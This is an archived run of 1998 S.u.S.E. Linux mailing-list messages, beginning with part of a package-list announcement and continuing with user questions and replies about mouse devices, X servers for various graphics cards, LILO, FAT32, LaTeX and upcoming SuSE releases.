>     Linux-Kernel).
>   * gltt (library for TrueType with OpenGL)
>   * ircd (Internet Relay Chat Server)
>     IRC server
>   * libgif (Gif-Bibliothek)
>     Library of functions to modify gif images
>   * liblug (Multi-Format graphic library)
>     Supports GIF, PCX, TGA, RGB, TIFF, PIX, RLA, RLE, PBM, PGM, PNM, RAW,
>     JPG
>   * lam (LAM/MPI parrallel computing)
>   * LAM (Local Area Multicomputer)
>     is a MPI (Message Passing Interface) programming environment and
>     development system for heterogenous networks. With LAM you can use a
>     cluster of existing computers as a single parrallel processor. LAM has
>     lots of debugging options and is very performant. It's a full
>     implementation of the MPI standard for parrallel processing.
>   * maxwell 0.5.2 (text processor)
>   * netacct 0.4 (account for network traffic)
>   * netcat 1.10 (a simple but powerfull networking tool)
>   * pvm 3.4.beta6 (Parallel Virtuall Machine)
>     PVM allows to use a pool of computer as one virtual
>     machine. Applications are written in C, C++ or Fortran, and access the
>     system via the PVM library.
>   * roottail
>     Displays one or more files in different colors on the X11 root window.
>   * slab 2.1 (sound tool)
>     incl. recording studio, mixer...
>   * sox (sound tool)
>     All purpose tool for modifing and converting sound files. (command
>     line)
>   * sp (SGML Parser-Tool)
>     Process SGML and XML documents. Includes the parser nsgmls, and
>     the utilities sgmlnorm, spam, spent and sx. sx is used to convert
>     SGML to XML, following the soon to be released WWW standard.
>     spectcl 1.1
>   * Interface builder for Tcl/Tk and Java by Sun Microsystems!
>   * tkdraw 1.1
>     Graphic tool which generates eps files.
>   * tuba 2.1p1 (Tcl/Tk debugger)
>   * tvision 0.5 (Port of Borland's TurboVision)
>   * vnc 3.3.1 (virtual X-server)
>   * xibod
>     Tools for ISDN channel bundling
>   * xmftp 1.0.4 (FTP tool for X Window)
>=20
> X Window System
>=20
>   * XFree86 3.3.2 2pl2 (xdm Skripte revised, security fixes)
>   * XFCom_3DLabs Server
>     Support for GLINT MX, GLINT 500TX, Permedia and Permedia 2 (formerly
>     XSuSE_Elsa_GLoria server)
>   * XFCom_SiS Server
>     Support for SiS 86c201, SiS 86c202, SiS 86c205, SiS 5597 (ALPHA!), SiS
>     5598 (ALPHA!) (formerly XSuSE_SiS server)
>   * XFCom_Cyrix Server
>     support for Cyrix MediaGX (not 100ure yet...)
>=20
> --
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From arunkhan@xnet.com Mon Jun 29 15:55:26 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] GPM and /dev/mouse
Date: Mon, 29 Jun 1998 10:55:26 -0500
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At 12:44 PM 6/27/98 -0400, Subba Rao wrote:
>
>With YaST, the GPM administration menu shows that /dev/mouse will be
>/dev/ttyS0 on COM1 port.
>After YAST restarts GPM, /dev/mouse is pointing to /dev/cua0.
>
>I thougt the CU* devices are going to be outdated and linux is moving
>towards ttyS* devices.
>
>How do I get the mouse to work? I tried to create a link from command
>line and restarted the GPM and
>that too didn't work.
>
>Any ideas or pointers?

Just a thought, if you have a PS/2 type mouse then the device is
/dev/psaux. Link /dev/mouse to it.

Arun Khan
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From brauki@cityweb.de Mon Jun 29 15:55:59 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Bounce from postmaster@algw2.lucent.com ????
Date: Mon, 29 Jun 1998 17:55:59 +0200
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Marie Bennington wrote:
> 
> Steven T. Hatton wrote:
> >
> > When I started sending out penguins some of my mail bounced.  I figured
> > it was because I had an image in the message.  I have started receiving
> > these bounce messages again.  I only get them whem posting to S.u.S.E.
> > Does anybody else have this problem?  The following is the header:
> 
> 
> 
> I just joined the list a few days ago, but I have not recieved any
> bounce messages.  I also didn't recieve a penguin. 
> Marie

It happens sometime. A full mailbox, an incorrect address, goodness
knows. For every of your mails that can't be received for that reason,
you recive a bounce message.
bodo did some mentions on that subject. sometimes things bounce to the
list. very funny.
havn't received bounces recently, though i was very active. but, i' ve
set up some mail filters in procmail. unfortunately i cannot access my
/dev/zero folder. ;-((

Jürgen


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From arunkhan@xnet.com Mon Jun 29 16:21:35 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Multiprocessors
Date: Mon, 29 Jun 1998 11:21:35 -0500
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At 07:39 PM 6/28/98 -0600, you wrote:
>
>I am wondering what will happen if I were to put in two processors which
>are of different stepping into a multiprocessor machine.  Has anyone
>encountered this before?  Currently, I have a PPro 200 256K Stepping 9 and
>I want to order another one, but I don't know if it'll be Stepping 9 as
>well or not.
>
>
>Regards,
>C. J. Tan

I have a system with 2 PPro 200 steppings 6 and 7 resp. and I bought both
CPUs at the same time from the same vendor!  However, the system works fine
under WinNT as well as Linux 2.0.33.  Try to get a CPU with stepping as
close as possible to 9 (the existing one in your system).  Or better yet
you might try the forums at Intel's support site http://support.intel.com>
before taking the plunge with the 2nd CPU.

Good luck.
Arun Khan
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From lach@lach.net Mon Jun 29 16:23:11 1998
From: lach@lach.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SCSI tape drive as Block Device
Date: Mon, 29 Jun 1998 11:23:11 -0500
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Hello,

I have a buslogic controller 958, connected to it I have an Archive 150Meg Ta=
pe
drive.  I have a program that wants to talk to it as a Block Device.  How do =
I do
this??  /dev/rmt0 is curently linked to st0 which is a character device.  I n=
oticed
all the /dev/sg* devices are character as well :(

The tape drive is SCSI id 3.

Thanks

Lach

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From gecko@benham.net Mon Jun 29 16:41:31 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Mounting Fat32 Partitions **URGENT PLS**
Date: Mon, 29 Jun 1998 09:41:31 -0700
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On 26-Jun-98 Stephen Brennan wrote:
>       Let me set the scene. I have SuSe 5.2 installed, I have also snagged a
> copy of the updated kernel (2.0.24) from the suse ftp site but I have not
> compiled it yet. Does anyone know how I would mount a Fat32 Partition
> please.

You need to install and compile the kernel 2.0.34 *or* patch and compile your
2.0.33 kernel before you can get FAT32 support.

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From drew@adapco.com Mon Jun 29 16:46:04 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Mon, 29 Jun 1998 12:46:04 -0400
Message-ID: <9806291646.AA21262@ibm29.adapco.com>
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I didn't set a ramdac and didn't let it probe for one.  If you do this I think
it will fix your problems when starting X.  What monitor do you have?  xf86co=
nfig
set up a bunch of extra modes but I just deleted the ones I didn't want.  I
think I'm running at 1024x768 true color.

Drew

> Drew,
>=20
> Second question should I use the IBM526 as the RAMDAC and IBM 51x/52x as
> the clockchip setting?=20
>=20
> Regards,
> Jason
>=20
> At 08:39 AM 6/29/98 -0400, you wrote:
> >
> >I have the same card make sure that you have the most up todate bios on
> the card.
> >When I was setting it up I had to use xf86config rather than xf86setup.
> Setup
> >does that pci prob thing And I think config does not.  Somewhere in the
> docs they
> >tell you not to use xf86setup.
> >
> >Drew
> >
> >>=20
> >>=20
> >> I have a Diamond FireGL 1000, and I am trying to get it to work with the
> >> Elsa Gloria X server. But the driver keeps saying that it cannot detect =
any
> >> configured device. When I turn on the -verbose flag, it tells me that it
> >> cannot probe the PCI bus. Can you help me figure out what is causing this
> >> and how to remedy it.
> >> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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> >> |Jason J. W. Williams                          |
> >> +----------------------------------------------+
> >> |INET: lonewolfe(a)uswest.net                    |
> >> +--------------------------------------------+-+
> >> |"I have sworn before the altar of God,      |
> >> |Hostility towards every tyranny over the    |
> >> |mind of man."                               |
> >> | -Thomas Jefferson                          |
> >> +--------------------------------------------+
> >> |"In an age of disposability, when both      |
> >> |objects and people are discarded was soon as|
> >> |they cease to be of use, a fountain pen has |
> >> |the durability of old friendship."          |=20
> >> | -Richard Leigh (British Writer)            |=20
> >> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+=20
> >> -
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> >-
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> >=20
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+
> |Jason J. W. Williams                          |
> +----------------------------------------------+
> |INET: lonewolfe(a)uswest.net                    |
> +--------------------------------------------+-+
> |"I have sworn before the altar of God,      |
> |Hostility towards every tyranny over the    |
> |mind of man."                               |
> | -Thomas Jefferson                          |
> +--------------------------------------------+
> |"In an age of disposability, when both      |
> |objects and people are discarded was soon as|
> |they cease to be of use, a fountain pen has |
> |the durability of old friendship."          |=20
> | -Richard Leigh (British Writer)            |=20
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+=20
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From satan3@home.com Mon Jun 29 17:27:58 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] (no subject)
Date: Mon, 29 Jun 1998 12:27:58 -0500
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Cool realplayer video segments of the zdtv interview with Linus
http://www.zdnet.com/zdtv/cda/index/0,2073,2114654-2102293,00.html>

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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
                          Michael Lankton
       satan3(a)home.com        <=
A HREF=3D"http://tasteslikechicken.ml.orghttp://tasteslikechicken.ml.org=
>=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From hekate@intergate.bc.ca Mon Jun 29 18:40:07 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Thinking about SUSE
Date: Mon, 29 Jun 1998 11:40:07 -0700
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enjoy.

On Mon, 29 Jun 1998, Jt Chiodi wrote:

> Date: Mon, 29 Jun 1998 10:36:17 -0400
> From: Jt Chiodi 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] Thinking about SUSE
>=20
>=20
> Thanks for all the comments out there.  I have taken the plunge and purchas=
e the
> official version of S.u.S.E 5.2 from cheapbytes.  I look forward to install=
ing it.
>=20
>=20
>=20
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From mikelum@payma.es Mon Jun 29 18:59:48 1998
From: mikelum@payma.es
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] s3 graphical drivers
Date: Mon, 29 Jun 1998 13:59:48 -0500
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Hi!

IŽm installing the graphical card, a  S3 Trio64+ one, and it doesnŽt  apear
in the list of the drivers. ItŽs in the supported card list
'www.xig.com/board/ax/s3.html' ,but where I can find it???

Thanks.

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From jimi@earthling.net Mon Jun 29 19:22:44 1998
From: jimi@earthling.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] ppp (that ol' devil 2)
Date: Mon, 29 Jun 1998 21:22:44 +0200
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Ho!

Thanks for the tips!

Well, after recompiling the kernel (It took me some time due to Hisax and an 
AWE 64 Soundblaster which didn't wanna play along with Sam the kernel) and
getting 
a grip on the LCK..modem, file I now have a ISDN modem which waits for a ppp
interface to come up and then dies, nice and simple.

So, AFAIK the ppp and the isdn is installed. Or is it? with modprobe I get
the list and there's ppp and isdn in that list over the actual modules 
loaded into the kernel.

Next step is to do a microsoftie: rip it all out and re-install. Or put an
an old, dull axe to the rubbish ;-)

Regards,
Jimi

 
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From bb@suse.com Mon Jun 29 19:56:44 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] What does SuSE stand for?
Date: Mon, 29 Jun 1998 12:56:44 -0700
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Ken Schuller wrote:
>=20
> Steven T. Hatton wrote:
>=20
> >
> > I have found that as I learn more about Linux, I find experts here who
> > know that much more than I.  It is certainly this list that keeps me
> > on the S.u.S.E. subscription list.  I don't mind paying the money for
> > the distribution.  I believe it helps S.u.S.E. and Linux grow.  If I
> > remember correctly I have been using Linux for four months.  I have an
> > NT boot on this system that I rarely use anymore.  When I port
> > Mathematica over, and find an office product that is extensively
> > compatible with M$ Office, I may slick the wasted NT partition and put
> > it to good use.
>=20
> $35 for 600MB worth of apps and documentation?  The best Linux deal I've
> found.  And, unlike Red Hat, they're not releasing the errata, patches
> and bug fixes the day after they release the distribution.  Finally, the
> pamphlet they include with Red Hat is no match for the SuSE book, even
> if the English is broken in places.

We are working on this. I'm not sure if we'll have a better manual for the 5.=
3,
but the 6.0 manual will definitly be edited by an anerican native english
speaker.

If you call our hotline you'll talk with me and as i'M living in the US
now, my english will get better too (at least I hope...:)

Ciao,
        BB


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http://www=
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From bb@suse.com Mon Jun 29 20:13:26 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Mon, 29 Jun 1998 13:13:26 -0700
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Joseph Beaman wrote:
>=20
> Sure,
>=20
> I have windows 95 installed on the first partition of my hard drive.  I am
> using partition magic 3.0, and it's boot manager is installed on the second
> partition. The third partition is my linux swap partition, and finally I
> have my linux native partition on the remainder of the drive.  All of this
> is below 1024 cylinders, as LILO requires, but then I try to boot with Linux
> (SUSE), I get stuck at the L (in LILO).  Now, I have no problems with Redhat
> with the same configuration, but with SUSE I have to use a boot disk to
> load.

Remove the 'linear' flag in the LILO configuration (either with YaST,
or in /etc/lilo.conf) and try again...

Ciao,
        BB


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From nelsen@telusplanet.net Mon Jun 29 20:40:31 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 14:40:31 -0600
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At 6/29/1998, you wrote: 








We are working on this. I'm not sure if we'll
have a better manual for the 5.3, but the 6.0 manual will definitly be
edited by an anerican native english speaker.

 

Ciao,

        BB



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Bauer          =20
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LLC                =20
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http://www.suse.com> =20
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Forgive me if this is an improper question - but do you have any idea
about an approximate release date for 6.0?



Dave


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From satan3@home.com Mon Jun 29 20:42:01 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] my web site
Date: Mon, 29 Jun 1998 15:42:01 -0500
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Well, I registered a domain, so stop by if you're interested in what I'm
going to do with the site.  Eventually there will be current news,
windowmaker content, and linux related content.  Part of the site is up,
MOST parts are under construction, and I'm sure I will be refining the
whole thing as I go.  My html experience dates back to Saturday at 3pm,
so don't bother criticising my html skills, I know they suck.  I'm doing
everything in netscape for the time being. =20
Anyway, I guess this will be a pretty much permanent thing.  I have a
dedicated connection and unless I boot to win95 to play Unreal, or
decide to shutdown to give my pc the odd night off the site will be
there 24/7.  This has been enjoyable for me to set up Apache and design
some content,  I think the next step will be to hit Barnes and Noble and
see if I can find a good book on designing web content.  Feel free to
suggest any good reference material. =20
http://tasteslikechicken.ml.org>
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From drew@adapco.com Mon Jun 29 21:31:14 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FireGL 1000 X-Server Not Working
Date: Mon, 29 Jun 1998 17:31:14 -0400
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check out www.diamondmm.com it should be there.  Sorry I'm a little bust toni=
ght.

Drew

> Drew,
>=20
> Also, is there a FireGL 1000 Bios newer than 1.21 (what I have). If you
> have an update that is newer please send it to me (jason(a)digitarx.com). I
> have not been able to find any firmware updates on the Diamond web site.
>=20
> Regards,
> Jason
>=20
>=20
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D+
> |Jason J. W. Williams                          |
> +----------------------------------------------+
> |INET: lonewolfe(a)uswest.net                    |
> +--------------------------------------------+-+
> |"I have sworn before the altar of God,      |
> |Hostility towards every tyranny over the    |
> |mind of man."                               |
> | -Thomas Jefferson                          |
> +--------------------------------------------+
> |"In an age of disposability, when both      |
> |objects and people are discarded was soon as|
> |they cease to be of use, a fountain pen has |
> |the durability of old friendship."          |=20
> | -Richard Leigh (British Writer)            |=20
> +=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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From trs@wt.net Mon Jun 29 21:49:54 1998
From: trs@wt.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] my web site
Date: Mon, 29 Jun 1998 16:49:54 -0500
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At 03:42 PM 6/29/98 , you wrote:
 =20
>Anyway, I guess this will be a pretty much permanent thing.  I have a
>dedicated connection

What type of connection and what did it cost and what part of the
country are you in?

> Feel free to
>suggest any good reference material. =20

One of the first things that you will read about in web design is creating
someplace on the web page to say what you and the site is all about.
Usually it is an "About" link that say's things like why you have made
the information on the web page available and why you named it
"tasteslikechicken", and such.

>http://tasteslikechicken.ml.org>
>-
=20
 =C2=A0 +---------TRSchultz------------------trs(a)wt.net---------+=C2=A0=20
=C2=A0  |=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 Houston, Texas USA =C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0 |
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From micheleamerica@geocities.com Mon Jun 29 22:05:48 1998
From: micheleamerica@geocities.com
To: users@lists.opensuse.org
Subject:
 [S.u.S.E. Linux] [S.u.S.E Linux] Problems in telneting from win95 client.
Date: Mon, 29 Jun 1998 23:05:48 +0100
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Hi,

I have a 2 computer intranet :-) at home. One of them runs only linux and is
configured as a server of httpd, ftp, news, dns, mars, samba, etc. The other
runs both linux and window$.
When i boot linux in the client machine all works ok. All shared stuff is
shared, i can telnet, ftp, lynx, etc. into it.
When i boot window$, i can not do anything.
The exact simptom in telnet is that the login goes ok and i get the prompt
from bash. When i do an ls in an empty directory it goes ok. If i try do ls
the / directory i stop getting echo. If i Ctrl-D the keystroke gets to the
server and kills the connection but i cannot see anything on the terminal
window.
With ftp i get the first two lines of the server welcome message and then it
stops.
With dns all works ok.
I think that if there is very little data to cross the network all is ok. If
the ammount of data goes over some quantity, which i don't know, the server
stops sending data to the client.

Can anyone help me in figuring out what is going on ? Remember that all
works ok with linux.

Thanks,

Michele America

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From barbra@captech.com Mon Jun 29 22:06:28 1998
From: barbra@captech.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] my web site
Date: Mon, 29 Jun 1998 15:06:28 -0700
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please do - inquiring minds want to know!

On Mon, 29 Jun 1998, TRSchultz wrote:

>=20
> At 03:42 PM 6/29/98 , you wrote:
>  =20
> >Anyway, I guess this will be a pretty much permanent thing.  I have a
> >dedicated connection
>=20
> What type of connection and what did it cost and what part of the
> country are you in?
>=20
> > Feel free to
> >suggest any good reference material. =20
>=20
> One of the first things that you will read about in web design is creating
> someplace on the web page to say what you and the site is all about.
> Usually it is an "About" link that say's things like why you have made
> the information on the web page available and why you named it
> "tasteslikechicken", and such.
>=20
> >http://tasteslikechicken.ml.org>
> >-
> =20
>  =C2=A0 +---------TRSchultz------------------trs(a)wt.net---------+=C2=A0=20
> =C2=A0  |=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0 Houston, Texas USA =C2=A0=C2=A0=C2=A0=C2=
=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=C2=A0=
=C2=A0 |
> =C2=A0  |=C2=A0"Some people are educated beyond their intelligence."=C2=A0|
> =C2=A0=20
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From bouke@xs4all.nl Mon Jun 29 22:12:10 1998
From: bouke@xs4all.nl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Tue, 30 Jun 1998 00:12:10 +0200
Message-ID: <19980630001210.C12950@xs4all.nl>
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Please do not send any html/mime stuff to this list !

look at how it looks in mutt, the next mail this way wil be send to
/dev/null without reading it

grtz
Bouke

Op Mon, Jun 29, 1998 at 02:40:31PM -0600, schreef David Nelsen:
                                                                       =
  =20
At 6/29/1998, you wrote:                                                   =20

We are working on this. I'm not sure if we'll   =
    =20
have a better manual for the 5.3, but the 6.0 manual will definitly be       =
  =20
edited by an anerican native english speaker.                              =20
                                                                           =20
Ciao,                                                                      =20
        BB                         =20
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Bodo                                                                         =
  =20
Bauer                   =20
S.u.S.E.,                                                                    =
  =20
LLC             
;                                                          =20
fon +1-510-835 7873                                                        =20
bb(a)suse.de              =20
458 Santa Clara Avenue                 =20
fax +1-510-835 7875                                                        =20
http://www.suse.com                             =20
Oakland CA, 94610  USA                                                =20
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                                                             =20
Forgive me if this is an improper question - but do you have any idea        =
  =20
about an approximate release date for 6.0?                                 =20
Dave                                                                       =20
                                                                      =
  =20

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From figueroa@aottsd.uscourts.gov Mon Jun 29 22:50:16 1998
From: figueroa@aottsd.uscourts.gov
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Just asking....
Date: Mon, 29 Jun 1998 17:50:16 -0500
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Hi all,

I have been running SuSE 5.0 for a while now. I do have just a couple of 
questions:

Is there anyway to upgrade to 5.2 via the net? and

What and when will the glibc version be coming out?

Thanks

Miguel

Windows 95: n.
    32-bit extensions and a graphical shell for a 16-bit patch to an 8-bit
    operating system originally coded for a 4-bit microprocessor,  written
         by a 2-bit company that can't stand for 1 bit of competition.
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From jonathan@aracnet.net Mon Jun 29 23:05:39 1998
From: jonathan@aracnet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Mon, 29 Jun 1998 23:05:39 +0000
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On 28-Jun-98 Leon McClatchey wrote:

> tried Linux, I only had 1 machine and that was set up to run either Linux or
> OS/2.
> Well, now my "main server" is still a combination of OS/2 and Linux, but I'm
> finding myself more in Linux and less in OS/2. (does that say something:-).=
=20

I switched cold turkey from OS/2 (which I really really liked) to Linux.  I
haven't reinstalled OS/2 and may never do so.

But I really really miss the WPS.  That was intuition itself with some power
behind it!  Window managers have to come a long way.  I tried ICEWM but it's
mostly decorations, and no integration, from what I've seen.  Am I wrong?

> My wife likes OS/2 for the most part, though she is learning to get around =
in
> Xfree
> as well:-)

Sounds like it's time to install XFree86-OS/2!  (Check my page for links, I
haven't seen it in about a year, though)


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From james@suse.com Mon Jun 29 23:19:05 1998
From: james@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Just asking....
Date: Mon, 29 Jun 1998 16:19:05 -0700
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Hi Miguel, et al,

> I have been running SuSE 5.0 for a while now. I do have just a couple of=20
> questions:
>=20
> Is there anyway to upgrade to 5.2 via the net? and

Sure, see:

ftp://ftp.suse.com/pub/suse_update/>
=20
> What and when will the glibc version be coming out?

The 6.0 which will ship in the 4th quarter will be glibc-based. The 5.3 in
August will be still libc-based.=20

> Windows 95: n.
>     32-bit extensions and a graphical shell for a 16-bit patch to an 8-bit
>     operating system originally coded for a 4-bit microprocessor,  written
>          by a 2-bit company that can't stand for 1 bit of competition.

This is the most classic signature I've ever seen!!! The first time we saw
it we were rolling on the floor with laughter! ;)

Cheers

James Gray

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From jonathan@aracnet.net Mon Jun 29 23:24:30 1998
From: jonathan@aracnet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Mon, 29 Jun 1998 23:24:30 +0000
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On 29-Jun-98 Leon McClatchey wrote:

I'm a poor example here, I really liked LaTeX but haven't used it in quite a
few months.

>> I have seen many people mentioning about word processors on this list and
>> I am just curious how many people are LaTeX or TeX or *roff users.  If you
>> are writing scientific documents, I don't think there is any word
>=20
> I have glanced at Latex and to tell you the truth, from what little bit I
> looked
> at, it does look like it can be very useful.  I've also looked at HTML as a
> possibility as well.  Both as far as capabilities goes, does have a lot of
> potential.  But the only real problem would be trying to remember all the
> codes to

It's not so bad... most of the time you just type and let it do the formattin=
g.
It turns out to be right more often than I do...

> get the format that you want, and for a letter?  For instance, In my land
> letters,

(From memory) I think there is a "template" that contains simple and basic
letter layouts.

> I do have a book (Linux Unleashed) that does talk a little bit about latex,
> and
> I think I can get the line formats from that?, but as far as the document
> split up,
> well, in HTML, I guess I would have to use "H1-H4", but I couldn't find
> anything in
> what I have on hand how to set up a header/footer in Latex.
>=20
> Then I just came back from a bookstore (looking for a book on Latex) and th=
ey
> didn't know what I was talking about:-( That is really the only reason that=
 I
> was
> looking for something that is a little more user friendly (my dos/win/os2
> background rearing its ugly head:-)

Get "A Gentle Introduction to LaTeX" which is an electronic book, I completely
forget where to find it though.  It was great!  Try SunSite, obviously.
=20
>> think LaTeX is not too difficult to learn either.  Once you get hooked
>> onto it, you'll probably find that it's very powerful.
>=20
> I don't doubt that one bit:-), Just from what little bit I've played with a=
nd
> checked out, I could see that as far as its total capbilities goes, I
> probably
> wouldn't use but about 100n a regular basis:-)

Or less!  I made a nifty little template that let me do shadow-boxed quotes,
big left margins to account for a printer glitch, etc, etc, and it was only
about 20-30 lines of header coding.  I just needed to paste that at the
beginning and start typing after that.


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From lsayre@integrityonline13.com Mon Jun 29 23:43:49 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] CPUInfo?
Date: Mon, 29 Jun 1998 18:43:49 -0500
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Michael Lankton wrote:
> 
> You mean executing "cat /proc/cpuinfo" returns nothing at all?
> 
> Lawrence Sayre wrote:
> >
> > My /proc/cpuinfo file is empty.  I thought this file was supposed to
> > keep a record of the CPU, and its relative bogomips performance, etc..
> >
> > My CPU is a Cyrix P200+, and I'm using SuSE 5.2.  Is there any way to
> > get the CPU info to read out this for this chip?
> >
> > -----------------------------------------------
> > Man's mind is his basic tool of survival!
> >
> > Lawrence Sayre 
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So that's how it works!

Thank you!
 
-----------------------------------------------
Man's mind is his basic tool of survival!

Lawrence Sayre 
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From arunkhan@xnet.com Mon Jun 29 23:47:19 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Anyone with stable X windows using STB Velocity 128
 AGP version?
Date: Mon, 29 Jun 1998 18:47:19 -0500
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I am using the latest XFree86 XSVGA server that includes support for the
Nvidia Riva128 chip used in the Velocity 128, Viper V330, and ASUS 3D
Explorer video cards.

One of my machines has a Velocity 128 AGP version and I am having
difficulty getting a stable display.  Using xf86config from SuSE, I have
generated a XF86Config file.  X starts up w/o any errors.  However, the
display is jittery e.g. the vertical lines of the window panes display a
jerky motion in the horizontal plane.  I have read thru the README file for
the chipset and tried all the tricks mentioned there and even run it in
un-accel mode.  The problem does not go away.  However, the display is fine
under Win95:(  Thus, I cannot blame it as a hardware problem.

On another machine, I have a Viper V330 PCI version.  X works great on that
machine.

Has anybody else experienced this problem with Velocity 128 or it's
equivalent (see above) AGP version?  If so, were you able to solve it and how?

TIA
Arun Khan
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From satan3@home.com Tue Jun 30 00:05:29 1998
From: satan3@home.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] CPUInfo?
Date: Mon, 29 Jun 1998 19:05:29 -0500
Message-ID: <35982BC9.AAE03E9B@home.com>
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No problem.  /proc is a virtual file system, there isn't anything to
read physically,  plus it's something that has to be compiled into the
kernel, so if you didn't have it in the kernel "cat /proc/cpuinfo" would
have returned an error.  Glad I could help.

Lawrence Sayre wrote:

> So that's how it works!
>=20
> Thank you!


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From nelsen@telusplanet.net Tue Jun 30 00:13:43 1998
From: nelsen@telusplanet.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 18:13:43 -0600
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At 6/29/1998, you wrote: 

>
> Please do not send any html/mime stuff to this list ! 
>
> look at how it looks in mutt, the next mail this way wil be send to 
> /dev/null without reading it 
>
> grtz 
> Bouke 

Or maybe Linux should get a contempory mail program.  Does not Netscape
mail do
current mail formats?  

Dave

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From junk@nomail.to.meplease.suse.de Tue Jun 30 00:26:00 1998
From: junk@nomail.to.meplease.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 17:26:00 -0700
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Netscape is fine, if you're always in X. I'm not. I use Pine alot and it's
annoying when people send that html stuff. That's just me. I don't
suggest that people should not send such stuff. I just know I have been
deleting it.

On Mon, 29 Jun 1998, David Nelsen wrote:

> 
> At 6/29/1998, you wrote: 
> 
> 
> >
> > Please do not send any html/mime stuff to this list ! 
> >
> > look at how it looks in mutt, the next mail this way wil be send to 
> > /dev/null without reading it 
> >
> > grtz 
> > Bouke 
> 
> 
> Or maybe Linux should get a contempory mail program.  Does not Netscape
> mail do
> current mail formats?  
> 
> Dave
> 
> 
> 
> 
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From bb@suse.com Tue Jun 30 00:34:00 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] 6.0 release date
Date: Mon, 29 Jun 1998 17:34:00 -0700
Message-ID: <35983278.5A4C59D5@suse.com>
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>=20
> Forgive me if this is an improper question - but do you have any idea about=
 an
> approximate release date for 6.0?

The current info is, that there will be a public beta release late in
october. I don't know if this beta will be available in the US, probably
not. The final release will be late this year, in november or decamber...

Ciao,
        BB


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From chris123@netcom.ca Tue Jun 30 01:01:17 1998
From: chris123@netcom.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Linux and the Palm Pilot.
